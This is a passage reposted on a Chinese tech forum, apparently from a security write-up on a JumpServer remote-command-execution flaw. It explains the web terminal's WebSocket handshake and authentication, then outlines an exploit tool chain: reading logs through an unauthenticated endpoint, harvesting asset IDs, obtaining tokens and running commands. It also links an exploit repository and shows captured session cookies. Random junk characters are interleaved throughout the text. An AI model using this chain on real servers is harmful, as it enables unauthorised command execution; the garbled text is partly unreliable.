0 r+ t6 G2 n2 P& a. u# S: m6 t
Web Terminal则是实现在浏览器展示的终端模拟器,前后端建立WebSocket连接,保证浏览器和后端实时通信。
$ j! r6 s; }9 k
6 y# I1 g& {0 I' [( c实现思路:3 b  k, o' `) f# `) |

9 }2 s* ~+ E4 A% C( i1.浏览器将主机信息传给后台, 并通过HTTP请求与后台协商升级协议,协议升级完成后, 得到一个和浏览器的web Socket连接通道
6 _4 _1 w! D0 ?% @, {4 H+ Z2.后台拿到主机信息, 创建一个SSH 客户端, 与远程主机的SSH 服务端协商加密, 互相认证, 然后建立一个SSH Channel
; H  A6 p0 Z) ]" }$ E0 u! _3.后台和远程主机有了通讯的信道,然后后台携带终端信息通过SSH Channel请求远程主机创建一对 pty, 并请求启动当前用户的默认 shell6 l0 u8 X% s& j9 r$ Y* t) ~9 M
4.后台通过 Socket连接通道拿到用户输入, 再通过SSH Channel将输入传给pty,pty将这些数据交给远程主机处理后,按照前面指定的终端标准输出到SSH Channel中, 同时键盘输入也会通过SSH Channel发送给远程服务端。
$ O) `* D! E1 M6 j: x- l% v. \5.后台从SSH Channel中拿到按照终端大小的标准输出,通过Socket通信将输出返回给浏览器,由此实现了Web Terminal: f$ v$ ^& C8 ?$ ^$ F$ C8 a

& ?: Q* G$ B/ ^8 g图片
' S7 T* v7 e7 @/ x$ w6 N) f' }& V! \' V
JumpServer中websocket通信基于https://github.com/gorilla/websocket项目实现,Web Terminal功能实现思路与上文描述基本一致,这里简述浏览器与后端进行websocket通信流程。! E, H$ n" n# }7 i5 g
( ^0 R6 t6 E1 g# K
图片. n2 q; {8 a( x& h' |

/ ?1 n( {2 m; X携带多个参数对 /koko/ws/terminal/ 接口发起Get请求,初次握手,提出Upgrade为Websocket协议
  N1 c- y" Y7 a1 x* t5 g! T5 A0 ]  D9 y7 H, C: b9 h9 ~. P! N
GET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.19 x  H0 P1 `, t  F1 e
Host: 192.168.18.182:8080
3 p3 f2 u; H2 Y6 cConnection: Upgrade
& ~4 K5 I* S2 h6 TPragma: no-cache
+ J. Q1 w- T0 D- `2 WCache-Control: no-cache6 o0 q3 Y  O' y- z' k+ v/ G
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
; ]- ~$ U! z/ c4 [3 m& ?& QUpgrade: websocket
9 I5 O: e2 Q( |% n, G5 C' OOrigin: http://192.168.18.182:8080$ M+ S( Y* K2 G% _3 ]0 t2 O. R
Sec-WebSocket-Version: 13$ m# j& `+ H& @
Accept-Encoding: gzip, deflate& Q  F- d, t" D3 \6 r# d
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8% @! J, m" H) A) H1 i! L
Cookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146$ t) v! r# v3 o0 ?# @
Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==
# M: O# R3 `9 V# y/ E* qSec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
1 e/ ^1 T* i5 GSec-WebSocket-Protocol: JMS-KOKO8 L9 A& n* r9 c$ J9 X5 M. U# M/ Q
服务端识别有效字段,回应握手请求,同意upgrade为websocket协议,允许后续进行socket通信。7 D3 w5 u' d  n9 L* c
# R, a9 b  N  g% m
HTTP/1.1 101 Switching Protocols$ k% ?5 @3 n& }. d; R
Server: nginx
. W6 _+ d; `. v0 _( r: \Date: Mon, 01 Feb 2021 17:29:47 GMT# n: b- d* P# a5 Q9 g
Connection: upgrade
8 S' Y! e5 w7 K2 p" |Upgrade: websocket
) {7 v+ b. u: y. `/ cSec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=' r& |! ^+ X4 T
Sec-WebSocket-Protocol: JMS-KOKO5 Q% J8 F9 s9 h1 l9 _4 R
注意到使用web终端功能时,系统主要发起两个请求,分别是, }2 \4 Y0 x: u# z9 s/ ^
; W2 r) z5 z$ M
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
0 l- K- r1 ^  L6 k: j: f* y& Phttp://192.168.18.182:8080/koko/ ... 8-a983-1de24e7c3d73
- F" N6 F+ H4 G' B0 o" f图片
0 b' t4 m/ J9 {* c* u. @5 Q0 Y" f) `8 B1 }; ?* p
实际进行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是协调处理sokcet通信输入输出的数据,将结果与前端融合并展示给用户,提供一个可视终端的效果。
  r6 q& r1 M3 I* q0 `" ?- h! e0 f2 A" Z4 z1 D5 S( e; p
图片
+ ?( `4 X8 b& w
5 n# R3 N5 }4 O2 O" i: ~Websocket认证6 h; p8 x8 Q7 j6 z  Q5 L$ x
即使用户经过了系统的认证,当与WebSocket接口进行socket连接时,同样需要再次认证。
. ~! G7 \2 @" p# k- e. @( h
) S2 a8 X8 z% w, f6 c一般Websocket的身份认证都是发生在握手阶段,客户端向验证请求中的内容,只允许经过身份验证的用户建立成功的Websocket连接。
  e* e  c+ o2 I% s- n8 x
( q! G4 ?  k. r& {可以通过基于cookie的传统方式,或基于Token的方式进行认证。
8 j3 U& S/ ]9 w/ D( I, N6 _1 [% T& r7 M, J0 U/ y" k
传统的基于cookie的方式9 M- m2 g7 N! V; \" ~
采用这种方式,应用本身的认证和提供WebSocket的服务,可以是同一套session cookie的管理机制,也可以WebSocket服务接口自己来维护基于cookie的认证。" n0 Z  ^) C9 s( `" X

. w' z6 o" h* Y4 _& lJumpserver系统Web终端的功能,调用的/koko/ws/terminal/接口就是采用这种方式。+ }  Q0 z# w$ X9 @
9 z3 i' J! B7 G* F3 p
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
, [6 ?, K  n& Z2 X$ ]0 a6 g图片
+ k7 u* p+ o! v: D5 ^4 E. _% M6 w! k. p; }6 f% e
请求URL中携带的参数值 target_id、type、system_user_id 基本长期复用,接口主要依靠建立会话传送的Cookie来识别身份,这里的session cookie的管理机制与系统是共享的。: M8 |2 u5 Q, u( f/ ]# d0 y
) Q' k# e% H  U# N0 D& G, p
基于Token的方式
/ H1 K; B, b6 J+ K8 m当客户端要与接口建立连接时,向http服务获取token,客户端作为初始握手的一部分携带有效token打开websocket连接,服务端验证token有效性合法性,认证通过则同意建立websocket会话连接。
4 `6 B6 p- ~. R2 J( F. y" h' Q0 y7 J  y& r1 [) o+ U1 _, A
漏洞执行命令利用的/koko/ws/token/接口采用的就是基于token方式进行认证" S' Y9 O4 ]8 c6 N3 ~" V3 J$ ?

8 t- c2 |) t' F% }- |; |ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d5 A. ^6 y) F4 N8 T5 `7 ]$ W9 v2 [, S
接口取target_id参数值,识别参数值有效性及对应用户身份,认证通过则同意建立websocket连接。图片
- [# f& U0 n4 z  y4 J5 X, a
+ g  [6 E  Y( T0 y7 q+ D认证方式对比
- ?% U5 f" v1 `3 T8 X# d6 H传统基于cookie的方式,若websocket接口与系统协调同一种共享的认证方式,造成websocket服务与应用服务的耦合性大,依赖性强。若websocket服务自己维护基于cookie的认证,它只是一个解决通信连接的服务,为此付出成本不小。综上,还是采用基于token的认证方式更加高效。( I% Z6 y! I3 C  U. a7 B9 m' O

' V: p0 |. _+ c: F采用基于token的认证方式则需要考虑提供token服务的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在认证绕过问题,攻击者通过绕过/connection-token接口的身份验证,获取token,在有效时间内可与目标建立websocket连接。9 ?! T8 d) U7 ~# D* Q9 L
* V3 d# l0 V" B) s& y
0x05利用工具
0 q( H  t; F+ P7 y6 G/ V编写思路
+ Q3 E' O0 G0 N0 V+ }" E5 P$ ]1.读取日志+ V1 E- r$ Z5 ]+ L' _# g4 s

# z4 s% T  k( |# P9 Z根据上文漏洞利用的流程,需要先通过未授权的/ws/ops/tasks/log/接口读取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口请求记录,我们需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。3 \+ D2 U: t2 a1 A+ Y
7 q  i# i' p: z! U' o
图片
' X- V) n% J; B7 e  g5 N
! e7 M. H" `# i/ j5 @! ?6 O. Z$ `7 \2.筛选可用资产/ b, o3 \& v% Z- F
2 q$ t  @) J" H
日志文件中提取出的数据为历史连接记录,但不一定可以被利用,需要对其进行连接测试,筛选出可被利用的资产。
$ F/ h4 a+ [9 G6 A9 h1 r4 z$ W6 ~, I
图片
; k0 s; k9 _/ V8 V" {( o6 M7 a+ v; e& C! Y
3.执行命令6 f/ J) V8 |# j

' L( _) z8 E6 i在可用资产列表中选择目标进行攻击,执行指定命令。
& @) G  c: k( M$ V
4 D* y; R4 T% O+ c4 p1 T图片7 a( A! J+ R1 U3 `& w+ Y0 |$ u

0 L- h, {. A; T; |8 k% `- M, w$ {( R更多细节请移步:https://github.com/Veraxy00/Jumpserver-EXP5 g% m; v! i+ b/ o- g: j
8 U; ~, H' U5 l% V: Y
总结
, N  s" I7 n3 A" Z, N+ y1.通过未授权的 /ws/ops/tasks/log/ 接口读取日志文件,我们仅筛选了部分接口信息,日志中包含大量数据,还有更多利用价值。! t/ x+ q7 j, [6 x2 t7 k' s
2.官方给出的漏洞影响版本不准确,部分版本由于接口认证方式问题不可被利用。- C" b2 R) p* a$ v' S! [; B' o5 C
3.根据实际场景不同,漏洞利用工具还须继续改进,欢迎提出改进建议。* c" `5 ]6 u1 s1 j

8 o  `, q) F8 g+ r# y- }
您需要登录后才可以回帖 登录 | 开始注册

本版积分规则

关闭

站长推荐上一条 /4 下一条

北京云银创陇科技有限公司以云计算运维,代码开发

QQ|返回首页|Archiver|小黑屋|易陆发现技术论坛 ( 蜀ICP备2026014127号-1 )点击这里给我发消息

GMT+8, 2026-4-8 21:37 , Processed in 0.086594 second(s), 22 queries .

Powered by Discuz! X3.4 Licensed

© 2012-2025 Discuz! Team.

快速回复 返回顶部 返回列表